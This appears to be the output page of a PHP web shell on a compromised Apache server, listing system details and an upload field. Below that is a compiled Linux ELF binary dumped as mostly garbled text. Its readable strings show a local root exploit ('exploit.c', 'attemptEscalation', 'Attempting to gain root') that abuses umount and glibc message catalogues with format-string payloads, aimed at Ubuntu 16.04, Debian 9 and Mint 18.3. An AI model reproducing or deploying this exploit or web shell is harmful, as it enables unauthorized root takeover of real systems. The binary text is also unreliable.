|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @ @ { @ 8 @ @ @ @ @ @ 8 8@ 8@ @ @ R R ^ ^` ^` x (^ (^` (^` T T@ T@ D D Ptd N N@ N@ Qtd Rtd ^ ^` ^` /lib64/ld-linux-x86-64.so.2 GNU GNU ߹j" #qZEܲ : 0 @: < ĉݣkĹ@9 L < . l ; ] , m 4 R ' { Z & R d z a r J X - f 0 6 ! b` ! b` b` b` libc.so.6 fchmod exit sprintf strncmp pipe nanosleep fork __stack_chk_fail mkdir strtoll memchr kill strdup __assert_fail sched_yield symlink strlen memset __errno_location chdir read strndup dup2 poll fchown setresgid memcpy malloc realpath getgid clone getenv sscanf setresuid stderr getuid execve fwrite geteuid clock_gettime waitpid close open strchr fprintf mount memmove memmem strcmp strerror __libc_start_main snprintf free __environ __xstat __xmknod __gmon_start__ GLIBC_2.14 GLIBC_2.3 GLIBC_2.4 GLIBC_2.17 GLIBC_2.2.5 ii
ii
ui _` # b` < b` = `` `` (`` 0`` 8`` @`` H`` P`` X`` ```
h`` p`` x``
`` `` `` `` `` `` `` `` `` `` `` `` `` `` `` `` a` a` a` a` ! a` " (a` $ 0a` % 8a` & @a` ' Ha` ( Pa` ) Xa` * `a` + ha` , pa` - xa` . a` / a` 0 a` 1 a` 2 a` 3 a` 4 a` 5 a` 6 a` 7 a` 8 a` 9 HHN Ht H 5N %N @ %N h %N h %N h %N h %N h %N h %N h %N h p%N h `%zN h P%rN h
@%jN h 0%bN h %ZN h
%RN h %JN h %BN h %:N h %2N h %*N h %"N h %N h %N h %
N h p%N h `%M h P%M h @%M h 0%M h %M h %M h %M h %M h %M h! %M h" %M h# %M h$ %M h% %M h& %M h' p%M h( `%zM h) P%rM h* @%jM h+ 0%bM h, %ZM h- %RM h. %JM h/ %BM h0 %:M h1 %2M h2 %*M h3 %"M h4 %M h5 %M h6 %
M h7 p%"K f 1I^HHPTI?@ H`?@ HǴ9@ f D b` UH-b` HHv Ht]b` f ] @ f. b` UHb` HHHH?HHt Ht ]b` ]f D =1M uUHn] M @ ^` H? u HtUH]zUHH H8dH%( HE1 HXHX T M@ B@ !B@ aH8: H
HPHPH8H)HЉHHP u2H8HcHHHHPH8HHPH8HHXA.B@ IȉѺ5B@ HǸ LL ~ HK H2 @B@ zPH`HXHH( LL u(x% = ux@t HX8HPHH8H8 HXH HMdH3 %( tlUHH0H}uHUHEHE EHcHE
H HEEEH} tHUHEH)HЉEHEEHcHEHHEEHcHMHEHHIu=EHcHEH <=u)E+EHUHcHJHUHHH HEHEE)E} = UHH dH%( HE1 sB@ ~E} y
HH HHkH)HHHHHEHME HΉEE} y~MHEB@ HUHxI HqI Hu MHEB@ H,HOI HHI Ht'H<I H%I B@ HǸ HudH34%( tCUHSH HxHplH`dH%( HE1HG HEE XEHH HxHH HËEHH HpHH HwEЃEEE;l|lP(EUEHH,HEEHcHE HHEHEHEHPHU HEHEHPHUlHEHPHU HEHPHUHUHыlHcʉHEHPHU HEHPHUHUH ыlHcʉEHcHEHHEE } x EHH HxHH B@ HEHEH
EHEHPHUUHEHPHUHMHUH)HʉEHcHMHEHHqEHHHEEE;l]E } x EHH HpHH HE HEHEH\EHEHPHUUHEHPHUHMHUH)HʉEHcHMHEHHEHHHEEE;l[HUHEHH)UEHH9tM@ B@ B@ jE ?HEHPHUE E E E E UHcҋTЉEl;E}UEH`HEH]dH3 %( tkHĘ []UHH@H}HuHUȉMdH%( HE1HEغ A HǸ PE} y$HD HUؾB@ HǸ JqHMUHuHEHHEEHcHMEHΉqEE9EtM@ B@ 'C@ ECHEH HMdH3 %( tnUHH0 HHdH%( HE1Dž HcHHо/ HZHH t HHH)HЉHHHHHIAHѺCC@ HǸ ~N@ * B@ KC@ H H t% tN@ , B@ [C@ HcHH t HEdH3%( tUHHxuA vC@ |C@ vC@ E} t0N@ < B@ C@ |C@ yt0N@ = B@ C@ C@ E} y0N@ ? B@ C@ E UHSH( dH%( HE1@ [ HA H C@ B H H uPN@ O B@ HD@ H H Hƿ$ @ g@ a@ u> HH@ HپRD@ HǸ @ H`pD@ HǸ WH` HǸ yPN@ [ B@ D@ F D@ _ PN@ ] B@ D@ *l? H`D@ HǸ H` HǸ r yPN@ b B@ D@ %HD@ HǸ JHHHHHΉ PN@ e B@ D@ )L> H`D@ HǸ H` HǸ yPN@ j B@ D@ HD@ HǸ lHHHHHΉ PN@ m B@ D@ Kn T= HW> D@ HǸ HR> b` HC> HtiDž HH+> HH b` HHuHHH b` H= HH b` Hu= HѺE@ HǸ O ~PN@ B@ KC@ DHH5HH uPN@ B@ E@ H6E@ H H8= HHHHѺHE@ HǸ ~PN@ B@ KC@ HHHHH< HHHHѺxE@ HǸ 5HHHHJHw< HHHHѺE@ HǸ HHHHHHHѺE@ HǸ ~PN@ B@ KC@ H; HH HHHE t%A tPN@ B@ E@ A E@ "HHHHѺF@ HǸ ~PN@ B@ KC@ H A HǸ j PN@ B@ F@ HHHѺF@ HǸ J ~PN@ B@ KC@ ?HcHHΉO<HHH>: HHHHIHѺ(F@ HǸ ~PN@ B@ KC@ HH uPN@ B@ bF@ eHHH9 HH HoF@ HǸ HHDž (H F@ H H uH D F@ HǸ HHH HDž@F@ HHHHDžPF@ HDž F@ HDž(F@ HDž0F@ H@H H Hj tPN@ B@ C@ #HHHU8 HHHHIHѺXG@ HǸ ~PN@ B@ KC@ H H t%c tPN@ B@ [C@ cHHTH7 H7 HHHHIHѺG@ HǸ HHHP7 HH[6 H]dH3 %( tOH( []UHATSHPH}ȉuĉUHMDELME EE E E 3EHH HEH EE;E~E;E}EEEE;E|Ń} yE E;Et>E+EԉEHcHEȉѺG@ HǸ EEHHEȋE)EċE؉EE ZEHH HEH ;Eu;UEЍPEHcHEȉѺG@ HǸ EEHHEȋE)EăEE;E|} HE% EEHc}MUHEAAȉѺG@ HǸ EEHHEȋE)EHEE8)% EEHc}MUHEAAȉѺ H@ HǸ EEHHEȋE)EċEXEDXEDPEDHED@ExED`EHcMUHESASARAQAPWAEѺ0H@ HǸ LH0EEHHEȋE)EĐHe[A\]UHHPH}dH%( HE1HEHƿ @EHEH
HEЃ} tpN@ H B@ C@ HE HǸ Ẽ} xẺ KHEHƿ EHUHEH9~#HE HE HE HhHMdH3 %( tUHH dH%( HE1DžD2 HѺE@ ? HǸ HHGHH tN@ h B@ C@
LL yN@ k B@ H@ L H2 H H@ j yHHHH tN@ t B@ C@ Dž0 0HHHAHXHX uN@ y B@ H@ 0P0HH HXHH 0P0HH HXHH H@ *0P0HH HXHH H@ 0 yH1 HHDžH@ HDž H@ HDžH@ HDžH@ HDžH@ HDž H@ HDž(H@ HDž0H@ HDž8H@ HDž@H@ HDžHH@ HDžPH@ HDžXH@ HDž`H@ HDžhH@ HDžpI@ HDžxI@ HDž I@ HDž+I@ HDž;I@ HDž;I@ HDž HHXHHHHH tN@ B@ C@ PDž4 Dž8 Dž< PfDž 4u)H/ HFHH u 4H' HHH u#Hy/ H LI@ "' p8H H)8HHHHΉXHH u 4 H y#H. H \I@ H8Dž@ 4 t 8C 8HcH wI@ HH`H` u$8 8@ 4H`HH)HЃ@s<HHH@HHHȾF@ HǸ HH @@<<< t@;8x< Hd- H/ I@
H^- H@HhHhH HH HHH HpHpH- HxHhH HH HHH HHxHHH, HHHpHxIII@ HǸ $HhH HHHPHHH HHhH HcHHHHhH HcHHHHHH, HIJ@ HǸ 4 HHhH D@HhH pHHpHjHQIHщ HHHn+ HCJ@ HǸ HHHDž^J@ HDž lJ@ HDžF@ HDžF@ HDžF@ H1+ HH HHH tMN@ $ B@ C@ Dž8 )H* 4xJ@ HǸ ;b@ 8+@HcЋ@HHHHHH@)8f` P L L fTT;LtN@ ? B@ J@ DHMdH3 %( tUHH0H}dH%( HE1H} uJ@ HEH} uHEةJ@ HEHEHE H7) HMHEHHH=) HUؾJ@ HǸ HMdH3 %( t^UHH HdH%( HE1HH HPDž( %u4H( HPJ@ HǸ A x H`HƿE@ 44 tN@ c B@ C@ |uEtmH,( HP K@ HǸ E@ 88 r8 vH' HP0K@ HǸ F Dž, ; ,P,HH HHH HX,; u*H' HXYK@ HǸ x HXHƿpK@ b ,P,HH HHH HH
HH-% B uHH t(Hw& H vK@ % *HC& HXK@ HǸ ,; H& HPK@ HǸ H% Hu, t H% H/ K@ vK@ H% H% Hu(K@ HtK@ HH% H% Hu#H^% H3 L@ = H
[% H4% HP4L@ HǸ G<< Dž@
Dž0 0H$ @0PL@ HǸ Y H`HƿE@ DD t H$ HY L@ .F|u*H[$ H L@ Dž( 30;@AH $ HG L@ G# ~<A# t3# H# HE @M@ ( u2H# H& M@ XE@ Dž( (HMdH3 %( t AWAVAAUATL% UH- SIIL)HHHt 1 LLDAHH9uH[]A\A]A^A_Ðf. f. @ HH HHL$HT$H1H HH Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
"9 (stretch)" ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A from_archive $ > O "16.04.3 LTS (Xenial Xerus)" ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A _nl_load_locale_from_archive & @
"18.3 (Sylvia)" exploit.c testPathName umount %.*s/%s Binary search path element too long, ignoring it.
/etc/os-release VERSION NAME Detected OS version: %s
nextCatalogueStringStart-catalogueData==preambleLength+contentLength Failed to open catalogue file %s for writing.
result==catalogueDataLength %s/%.*s result<PATH_MAX (!result)||(errno==EEXIST) tmpfs /tmp !result !chdir("/tmp") ready handle>=0 No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
stackData USERNS clone failed: %d (%s)
/proc/%d/setgroups setGroupsFd>=0 deny result>0 /proc/%d/uid_map uidMapFd>=0 0 %d 1
/proc/%d/gid_map gidMapFd>=0 Namespaced filesystem created with pid %d
/proc/%d/cwd namespaceMountBaseDir (unreachable)/x (unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES (unreachable)/tmp/%s/X.X/LC_MESSAGES (unreachable)/tmp/%s/X.x/LC_MESSAGES %s/(unreachable)/tmp/down !result||(errno==EEXIST) /proc/self/exe %s/DATEMSK handle>0 #!%s
unused %s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo stackDumpStr AA%%%d$lnAAAAAA %016lx %%1$%dhhx%%%d$hhn 1234 5678 %s: mountpoint not found %s: not mounted %s: target is busy
(In some cases useful info about processes that
use the device is found by lsof(8) or fuser(1).) %s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo %s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo %%1$%1$d.%1$ds %%%d$hn %%1$%d.%ds%%1$s%%1$s%%%d$hn %%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn -%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s
childPid>=0 Starting subprocess
umountEnv LC_ALL=C.UTF-8 AANGUAGE=X.X / down LABEL=78 LABEL=789 LABEL=789a LABEL=789ab LABEL=789abc LABEL=789abcd LABEL=789abcde LABEL=789abcdef LABEL=789abcdef0 Poll timed out
IO error talking to child
AAAAAAAA Stack content received, calculating next phase
Found source address location %p pointing to target address %p with value %p, libc offset is %p
Changing return address from %p to %p, %p
Using escalation string %s BBBB5678%3$s
BBBBABCD%s
Logic error, state %d
waitedPid==childPid SHELL /bin/sh Failed to launch shell %s
%s: you are already root, invoking shell ...
%s: internal invocation, setting SUID mode
%s: invoked as SUID, invoking shell ...
%s requires parameter
--Pid Invalid pid value
Unknown argument %s
%s: setting up environment ...
Failed to detect OS version, continuing anyway
/bin PATH Failed to locate "umount" binary, is PATH correct?
%s: using umount at "%s".
Attempting to gain root, try %d of %d ...
Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?
Executable now root-owned
Escalation FAILED, maybe target system not (yet) supported by exploit!
No namespace cleanup for preexisting namespaces yet, do it manually.
Cleanup completed, re-invoking binary
findUmountBinaryPathname createMessageCatalogueData writeMessageCatalogue createDirectoryRecursive usernsChildFunction prepareNamespacedProcess waitForTriggerPipeOpen attemptEscalation main ; 8 . 8 X 'x | N #( P p k ( 80 HH zR x p* zR x $ FJ w ?;*3$" D AC
d AC
8 AC
3 $ AC
H _ AC
4 AC
{ AC
$ , F
AC
H
$ T y AC
Gm | D AC
AC
AC
T AC
D e BBE B(H0H8M@r8A0A(B BBB D \ t D Z @ @ @
@@ ^` ^` o @ @ @
`` @ @ @ H o 0 @ o o
@ (^` V@ f@ v@ @ @ @ @ @ @ @ @ @ @ &@ 6@ F@ V@ f@ v@ @ @ @ @ @ @ @ @ @ @ &@ 6@ F@ V@ f@ v@ @ @ @ @ @ @ @ @ @ @ &@ 6@ F@ V@ f@ v@ @ @ @ @ @ 0@@ @@ @@ A@ "A@ 7A@ XA@ A@ A@ B@ XA@ A@ A@ GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609 8@ T@ t@ @ @ @
@ 0 @ @
@ @ @@
@ @ @@ @@ N@ PO@ ^` ^` ^` (^` _` `` a` b` ^` @ P@ . @ D b` S ^` z @ ^` b` h M@ M@ M@ N@ - $ @ A 0N@ Z PN@ s pN@ N@ N@ R@ ^` ^` (^` ^` N@ `` . ?@ > R ?@ Y k 0/@ } t a` b` T " ?@ " ?@ K - b` 8 @@ 4 H [ n 8 L @
e z @ 8 9@ . @ G D.@ ^ r a` ! b` a` @ ( +@ y E b` T @@ c y ?@ `?@ e b` b` x @ * b` + @ A b` M 9@ R f x b` @ b` # 8 J ^ b` j b` b` b`
@
b` ! @ crtstuff.c __JCR_LIST__ deregister_tm_clones __do_global_dtors_aux completed.7585 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry exploit.c osSpecificExploitDataList __PRETTY_FUNCTION__.4860 __PRETTY_FUNCTION__.4911 __PRETTY_FUNCTION__.4927 __PRETTY_FUNCTION__.4936 usernsChildFunction __PRETTY_FUNCTION__.4945 __PRETTY_FUNCTION__.4950 __PRETTY_FUNCTION__.5006 __PRETTY_FUNCTION__.5016 __PRETTY_FUNCTION__.5069 __FRAME_END__ __JCR_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini getenv@@GLIBC_2.2.5 __stat free@@GLIBC_2.2.5 attemptEscalation __errno_location@@GLIBC_2.2.5 strncmp@@GLIBC_2.2.5 _ITM_deregisterTMCloneTable mkdir@@GLIBC_2.2.5 osRelease clone@@GLIBC_2.2.5 clock_gettime@@GLIBC_2.17 setresuid@@GLIBC_2.2.5 _edata strlen@@GLIBC_2.2.5 mount@@GLIBC_2.2.5 chdir@@GLIBC_2.2.5 __stack_chk_fail@@GLIBC_2.4 getuid@@GLIBC_2.2.5 setresgid@@GLIBC_2.2.5 dup2@@GLIBC_2.2.5 strchr@@GLIBC_2.2.5 symlink@@GLIBC_2.2.5 snprintf@@GLIBC_2.2.5 nanosleep@@GLIBC_2.2.5 __assert_fail@@GLIBC_2.2.5 memset@@GLIBC_2.2.5 prepareNamespacedProcess geteuid@@GLIBC_2.2.5 detectOsRelease close@@GLIBC_2.2.5 pipe@@GLIBC_2.2.5 invokeShell sched_yield@@GLIBC_2.2.5 memchr@@GLIBC_2.2.5 read@@GLIBC_2.2.5 strndup@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 findUmountBinaryPathname waitForTriggerPipeOpen execve@@GLIBC_2.2.5 __data_start strcmp@@GLIBC_2.2.5 strtoll@@GLIBC_2.2.5 fprintf@@GLIBC_2.2.5 __gmon_start__ memmem@@GLIBC_2.2.5 __dso_handle realpath@@GLIBC_2.3 getReleaseFileField memcpy@@GLIBC_2.14 createStackWriteFormatString umountPathname _IO_stdin_used __xmknod@@GLIBC_2.2.5 kill@@GLIBC_2.2.5 __mknod getgid@@GLIBC_2.2.5 __xstat@@GLIBC_2.2.5 __libc_csu_init malloc@@GLIBC_2.2.5 secondPhaseCataloguePathname sscanf@@GLIBC_2.2.5 killNamespacedProcessFlag writeMessageCatalogue __bss_start main fchmod@@GLIBC_2.2.5 poll@@GLIBC_2.2.5 namespacedProcessPid memmove@@GLIBC_2.2.5 waitpid@@GLIBC_2.2.5 open@@GLIBC_2.2.5 fchown@@GLIBC_2.2.5 _Jv_RegisterClasses createMessageCatalogueData __environ@@GLIBC_2.2.5 sprintf@@GLIBC_2.2.5 exit@@GLIBC_2.2.5 fwrite@@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable osReleaseExploitData strdup@@GLIBC_2.2.5 strerror@@GLIBC_2.2.5 messageCataloguePreamble secondPhaseTriggerPipePathname fork@@GLIBC_2.2.5 stderr@@GLIBC_2.2.5 createDirectoryRecursive .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .jcr .dynamic .got.plt .data .bss .comment 8@ 8 # T@ T 1 t@ t $ D o @ 4 N @ V @ ^ o
@
| k o 0 @ 0 ` z @ H B @ @ @ @@ @ @ @ /+ @@ @ @@ @ N@ N PO@ PO ^` ^ ^` ^ ^` ^ (^` (^ _` _ `` ` a` a b` b X 0 b 4 z b : q :